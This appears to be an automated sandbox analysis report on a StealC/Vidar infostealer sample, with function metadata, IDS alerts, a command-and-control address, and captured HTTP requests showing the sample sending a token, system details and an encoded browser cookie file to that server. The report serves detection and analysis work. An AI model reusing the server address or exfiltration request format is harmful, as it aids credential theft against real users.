Associated: 00000000.00000002.1674025630.0000000001410000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000141F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674277150.0000000001420000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674383820.00000000015C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674400492.00000000015C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f10000_file.jbxd

Yara matches

Similarity

API ID: Process$Heap$AllocateCloseHandleOpenTerminatememsetwsprintf
String ID:
API String ID: 3729781310-0
Opcode ID: 5a99d2ad206f7371fb1f88d4cec8754eb748d4759c004964047359619f9dc2c3
Instruction ID: e364208f240b1045a7ceae75805a62d2b1e538b43a003396bf098209f7b86561
Opcode Fuzzy Hash: 5a99d2ad206f7371fb1f88d4cec8754eb748d4759c004964047359619f9dc2c3
Instruction Fuzzy Hash: A2310A71E40318DBDB14DBD0ED49BEDB7B8EF44300F104569E506AB188DBB8AA89DB51

Function 00F292E0 Relevance: 6.0, APIs: 4, Instructions: 39fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00F23AEE,80000000,00000003,00000000,00000003,00000080,00000000,?,00F23AEE,?), ref: 00F292FC
GetFileSizeEx.KERNEL32(000000FF,00F23AEE), ref: 00F29319
CloseHandle.KERNEL32(000000FF), ref: 00F29327

Memory Dump Source

Source File: 00000000.00000002.1673632781.0000000000F11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true

Associated: 00000000.00000002.1673618925.0000000000F10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000116E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000130C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.00000000013E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001410000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000141F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674277150.0000000001420000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674383820.00000000015C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674400492.00000000015C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f10000_file.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleSize
String ID:
API String ID: 1378416451-0
Opcode ID: 71c35fde6f94159d4eaa97d332749d71018668163651fa04bace2f41091f827c
Instruction ID: e4f6f62241ce9a2f76516cc804636c3d8115e9de64344556f6538b386bf4a176
Opcode Fuzzy Hash: 71c35fde6f94159d4eaa97d332749d71018668163651fa04bace2f41091f827c
Instruction Fuzzy Hash: DFF03C35E44308FBDB24DBB0FC49B9E77B9AF48720F108264B661A72C4D6B59A419B40

Function 00F2C742 Relevance: 6.0, APIs: 4, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 00F2C74E

Part of subcall function 00F2BF9F: __amsg_exit.LIBCMT ref: 00F2BFAF

__getptd.LIBCMT ref: 00F2C765
__amsg_exit.LIBCMT ref: 00F2C773
__updatetlocinfoEx_nolock.LIBCMT ref: 00F2C797

Memory Dump Source

Source File: 00000000.00000002.1673632781.0000000000F11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true

Associated: 00000000.00000002.1673618925.0000000000F10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000116E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000130C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.00000000013E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001410000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000141F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674277150.0000000001420000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674383820.00000000015C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674400492.00000000015C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f10000_file.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__updatetlocinfo
String ID:
API String ID: 300741435-0
Opcode ID: a23188c081f77da8b6631fe5d2c104563592cd71e1c725ff603edc2a1bd00341
Instruction ID: 62b3ca0f2ceb6c9584f9bb035cc22c3af9d4f44f0b772bfc1ebc01f9b7d040b3
Opcode Fuzzy Hash: a23188c081f77da8b6631fe5d2c104563592cd71e1c725ff603edc2a1bd00341
Instruction Fuzzy Hash: D3F09A32D046349BDB21BBB8BC06B5E37A0AF00730F254249F955AA1D2DB6C5940BE96

Source: http://185.215.113.37/	URL Reputation: Label: malware
Source: http://185.215.113.37	URL Reputation: Label: malware
Source: http://185.215.113.37/e2b1563c6670f193.php	URL Reputation: Label: malware

Source: 0.2.file.exe.f10000.0.unpack	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}
Source: 0.2.file.exe.f10000.0.unpack	Malware Configuration Extractor: Vidar {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Source: http://185.215.113.37/0d60be0de163924d/nss3.dll	Virustotal: Detection: 20%	Perma Link
Source: http://185.215.113.37/0d60be0de163924d/mozglue.dll	Virustotal: Detection: 20%	Perma Link
Source: http://185.215.113.37/0d60be0de163924d/softokn3.dllM	Virustotal: Detection: 16%	Perma Link
Source: http://185.215.113.37/0d60be0de163924d/freebl3.dllQ	Virustotal: Detection: 16%	Perma Link
Source: http://185.215.113.37/e2b1563c6670f193.phpl	Virustotal: Detection: 16%	Perma Link
Source: http://185.215.113.37/0d60be0de163924d/vcruntime140.dll	Virustotal: Detection: 20%	Perma Link
Source: http://185.215.113.37/0d60be0de163924d/softokn3.dll	Virustotal: Detection: 20%	Perma Link
Source: http://185.215.113.37/0d60be0de163924d/msvcp140.dll#	Virustotal: Detection: 20%	Perma Link
Source: http://185.215.113.37/0d60be0de163924d/freebl3.dll	Virustotal: Detection: 20%	Perma Link
Source: http://185.215.113.37/0d60be0de163924d/nss3.dll%	Virustotal: Detection: 16%	Perma Link
Source: http://185.215.113.37/e2b1563c6670f193.phpinomi	Virustotal: Detection: 16%	Perma Link
Source: http://185.215.113.37/0d60be0de163924d/msvcp140.dll	Virustotal: Detection: 20%	Perma Link
Source: http://185.215.113.37/0d60be0de163924d/nss3.dllJ	Virustotal: Detection: 16%	Perma Link
Source: http://185.215.113.37/0d60be0de163924d/sqlite3.dll	Virustotal: Detection: 20%	Perma Link
Source: http://185.215.113.37/e2b1563c6670f193.php3	Virustotal: Detection: 16%	Perma Link
Source: http://185.215.113.37/e2b1563c6670f193.phpJ	Virustotal: Detection: 16%	Perma Link
Source: http://185.215.113.37/e2b1563c6670f193.phpwser	Virustotal: Detection: 16%	Perma Link

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F19B60 CryptUnprotectData,LocalAlloc,LocalFree,	0_2_00F19B60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F1C820 lstrlen,CryptStringToBinaryA,PK11_GetInternalKeySlot,PK11_Authenticate,PK11SDR_Decrypt,lstrcat,lstrcat,PK11_FreeSlot,lstrcat,	0_2_00F1C820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F19AC0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_00F19AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F17240 GetProcessHeap,RtlAllocateHeap,CryptUnprotectData,WideCharToMultiByte,LocalFree,	0_2_00F17240
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F28EA0 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA,	0_2_00F28EA0

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.8:49705 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.8:49705 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.37:80 -> 192.168.2.8:49705
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.8:49705 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.37:80 -> 192.168.2.8:49705
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.8:49705 -> 185.215.113.37:80

Source: Malware configuration extractor	URLs: http://185.215.113.37/e2b1563c6670f193.php
Source: Malware configuration extractor	URLs: http://185.215.113.37/e2b1563c6670f193.php

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BKJKEBGDHDAFHJKEGIIDHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 4b 4a 4b 45 42 47 44 48 44 41 46 48 4a 4b 45 47 49 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 44 34 30 32 32 31 41 38 46 43 44 33 39 33 35 34 33 30 31 34 39 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4a 4b 45 42 47 44 48 44 41 46 48 4a 4b 45 47 49 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4a 4b 45 42 47 44 48 44 41 46 48 4a 4b 45 47 49 49 44 2d 2d 0d 0a Data Ascii: ------BKJKEBGDHDAFHJKEGIIDContent-Disposition: form-data; name="hwid"ED40221A8FCD3935430149------BKJKEBGDHDAFHJKEGIIDContent-Disposition: form-data; name="build"doma------BKJKEBGDHDAFHJKEGIID--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DHJDAKEGDBFHCAAKJJJDHost: 185.215.113.37Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 48 4a 44 41 4b 45 47 44 42 46 48 43 41 41 4b 4a 4a 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 36 30 30 64 32 63 62 35 32 39 36 36 62 66 37 65 62 63 31 36 35 33 66 39 66 32 34 63 35 62 33 66 66 64 31 37 35 34 64 36 62 30 61 39 39 39 61 66 39 61 34 38 39 37 38 65 34 31 63 32 36 66 36 38 34 30 65 62 38 33 61 0d 0a 2d 2d 2d 2d 2d 2d 44 48 4a 44 41 4b 45 47 44 42 46 48 43 41 41 4b 4a 4a 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 44 48 4a 44 41 4b 45 47 44 42 46 48 43 41 41 4b 4a 4a 4a 44 2d 2d 0d 0a Data Ascii: ------DHJDAKEGDBFHCAAKJJJDContent-Disposition: form-data; name="token"0600d2cb52966bf7ebc1653f9f24c5b3ffd1754d6b0a999af9a48978e41c26f6840eb83a------DHJDAKEGDBFHCAAKJJJDContent-Disposition: form-data; name="message"browsers------DHJDAKEGDBFHCAAKJJJD--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JDBGHIIDAECBFIDHIIDGHost: 185.215.113.37Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 44 42 47 48 49 49 44 41 45 43 42 46 49 44 48 49 49 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 36 30 30 64 32 63 62 35 32 39 36 36 62 66 37 65 62 63 31 36 35 33 66 39 66 32 34 63 35 62 33 66 66 64 31 37 35 34 64 36 62 30 61 39 39 39 61 66 39 61 34 38 39 37 38 65 34 31 63 32 36 66 36 38 34 30 65 62 38 33 61 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 42 47 48 49 49 44 41 45 43 42 46 49 44 48 49 49 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 42 47 48 49 49 44 41 45 43 42 46 49 44 48 49 49 44 47 2d 2d 0d 0a Data Ascii: ------JDBGHIIDAECBFIDHIIDGContent-Disposition: form-data; name="token"0600d2cb52966bf7ebc1653f9f24c5b3ffd1754d6b0a999af9a48978e41c26f6840eb83a------JDBGHIIDAECBFIDHIIDGContent-Disposition: form-data; name="message"plugins------JDBGHIIDAECBFIDHIIDG--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----ECBAEBGHDAECBGDGCAKEHost: 185.215.113.37Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 43 42 41 45 42 47 48 44 41 45 43 42 47 44 47 43 41 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 36 30 30 64 32 63 62 35 32 39 36 36 62 66 37 65 62 63 31 36 35 33 66 39 66 32 34 63 35 62 33 66 66 64 31 37 35 34 64 36 62 30 61 39 39 39 61 66 39 61 34 38 39 37 38 65 34 31 63 32 36 66 36 38 34 30 65 62 38 33 61 0d 0a 2d 2d 2d 2d 2d 2d 45 43 42 41 45 42 47 48 44 41 45 43 42 47 44 47 43 41 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 45 43 42 41 45 42 47 48 44 41 45 43 42 47 44 47 43 41 4b 45 2d 2d 0d 0a Data Ascii: ------ECBAEBGHDAECBGDGCAKEContent-Disposition: form-data; name="token"0600d2cb52966bf7ebc1653f9f24c5b3ffd1754d6b0a999af9a48978e41c26f6840eb83a------ECBAEBGHDAECBGDGCAKEContent-Disposition: form-data; name="message"fplugins------ECBAEBGHDAECBGDGCAKE--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IDHIIJJJKEGIDGCBAFIJHost: 185.215.113.37Content-Length: 6035Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/sqlite3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FIDGHIIECGHDHJKFCAEGHost: 185.215.113.37Content-Length: 751Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 49 44 47 48 49 49 45 43 47 48 44 48 4a 4b 46 43 41 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 36 30 30 64 32 63 62 35 32 39 36 36 62 66 37 65 62 63 31 36 35 33 66 39 66 32 34 63 35 62 33 66 66 64 31 37 35 34 64 36 62 30 61 39 39 39 61 66 39 61 34 38 39 37 38 65 34 31 63 32 36 66 36 38 34 30 65 62 38 33 61 0d 0a 2d 2d 2d 2d 2d 2d 46 49 44 47 48 49 49 45 43 47 48 44 48 4a 4b 46 43 41 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 46 49 44 47 48 49 49 45 43 47 48 44 48 4a 4b 46 43 41 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 4c 6d 64 76 62 32 64 73 5a 53 35 6a 62 32 30 4a 56 46 4a 56 52 51 6b 76 43 55 5a 42 54 46 4e 46 43 54 45 32 4f 54 6b 77 4e 7a 67 33 4d 7a 67 4a 4d 56 42 66 53 6b 46 53 43 54 49 77 4d 6a 4d 74 4d 54 41 74 4d 44 55 74 4d 44 67 4b 4c 6d 64 76 62 32 64 73 5a 53 35 6a 62 32 30 4a 52 6b 46 4d 55 30 55 4a 4c 77 6c 47 51 55 78 54 52 51 6b 78 4e 7a 45 79 4d 6a 6b 33 4f 54 4d 34 43 55 35 4a 52 41 6b 31 4d 54 45 39 62 33 4a 6a 55 30 6c 75 62 31 70 43 59 6a 5a 54 63 6e 63 77 55 47 52 51 54 55 35 6c 54 45 64 4c 63 32 56 6e 5a 6b 78 70 4c 58 52 52 62 6e 5a 70 61 47 38 31 61 45 74 4b 57 45 74 45 54 6d 63 77 61 31 68 4a 55 47 35 6d 56 47 4e 31 64 31 59 31 63 6a 64 53 63 57 70 55 4f 44 6b 7a 63 46 64 48 53 6b 59 33 61 32 78 4c 63 57 78 6b 51 6d 39 71 4e 48 4a 45 53 6e 5a 34 5a 6b 5a 73 5a 30 52 50 51 32 4e 58 4f 57 46 4c 52 47 35 56 4f 58 70 4a 62 46 56 6f 4d 6b 78 51 4d 48 5a 50 4f 47 73 7a 64 56 51 77 5a 30 68 4b 52 44 46 4b 64 6c 5a 42 59 32 78 72 53 6d 35 4c 64 31 70 48 4e 6d 68 45 51 57 77 32 4d 6b 68 79 54 58 68 4f 63 6c 56 6c 63 56 4e 53 4c 56 64 47 4d 55 6f 74 62 44 6c 5a 57 57 64 46 43 67 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 49 44 47 48 49 49 45 43 47 48 44 48 4a 4b 46 43 41 45 47 2d 2d 0d 0a Data Ascii: ------FIDGHIIECGHDHJKFCAEGContent-Disposition: form-data; name="token"0600d2cb52966bf7ebc1653f9f24c5b3ffd1754d6b0a999af9a48978e41c26f6840eb83a------FIDGHIIECGHDHJKFCAEGContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------FIDGHIIECGHDHJKFCAEGContent-Disposition: form-data; name="file"Lmdvb2dsZS5jb20JVFJVRQkvCUZBTFNFCTE2OTkwNzg3MzgJMVBfSkFSCTIwMjMtMTAtMDUtMDgKLmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMjk3OTM4CU5JRAk1MTE9b3JjU0lub1pCYjZTcncwUGRQTU5lTEdLc2VnZ
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EHIJDHCAKKFCBGCBAAECHost: 185.215.113.37Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 48 49 4a 44 48 43 41 4b 4b 46 43 42 47 43 42 41 41 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 36 30 30 64 32 63 62 35 32 39 36 36 62 66 37 65 62 63 31 36 35 33 66 39 66 32 34 63 35 62 33 66 66 64 31 37 35 34 64 36 62 30 61 39 39 39 61 66 39 61 34 38 39 37 38 65 34 31 63 32 36 66 36 38 34 30 65 62 38 33 61 0d 0a 2d 2d 2d 2d 2d 2d 45 48 49 4a 44 48 43 41 4b 4b 46 43 42 47 43 42 41 41 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 48 49 4a 44 48 43 41 4b 4b 46 43 42 47 43 42 41 41 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 45 48 49 4a 44 48 43 41 4b 4b 46 43 42 47 43 42 41 41 45 43 2d 2d 0d 0a Data Ascii: ------EHIJDHCAKKFCBGCBAAECContent-Disposition: form-data; name="token"0600d2cb52966bf7ebc1653f9f24c5b3ffd1754d6b0a999af9a48978e41c26f6840eb83a------EHIJDHCAKKFCBGCBAAECContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------EHIJDHCAKKFCBGCBAAECContent-Disposition: form-data; name="file"------EHIJDHCAKKFCBGCBAAEC--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KJJJKFIIIJJJECAAEHDBHost: 185.215.113.37Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4a 4a 4a 4b 46 49 49 49 4a 4a 4a 45 43 41 41 45 48 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 36 30 30 64 32 63 62 35 32 39 36 36 62 66 37 65 62 63 31 36 35 33 66 39 66 32 34 63 35 62 33 66 66 64 31 37 35 34 64 36 62 30 61 39 39 39 61 66 39 61 34 38 39 37 38 65 34 31 63 32 36 66 36 38 34 30 65 62 38 33 61 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4a 4a 4b 46 49 49 49 4a 4a 4a 45 43 41 41 45 48 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4a 4a 4b 46 49 49 49 4a 4a 4a 45 43 41 41 45 48 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4a 4a 4b 46 49 49 49 4a 4a 4a 45 43 41 41 45 48 44 42 2d 2d 0d 0a Data Ascii: ------KJJJKFIIIJJJECAAEHDBContent-Disposition: form-data; name="token"0600d2cb52966bf7ebc1653f9f24c5b3ffd1754d6b0a999af9a48978e41c26f6840eb83a------KJJJKFIIIJJJECAAEHDBContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------KJJJKFIIIJJJECAAEHDBContent-Disposition: form-data; name="file"------KJJJKFIIIJJJECAAEHDB--
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/freebl3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/mozglue.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/msvcp140.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
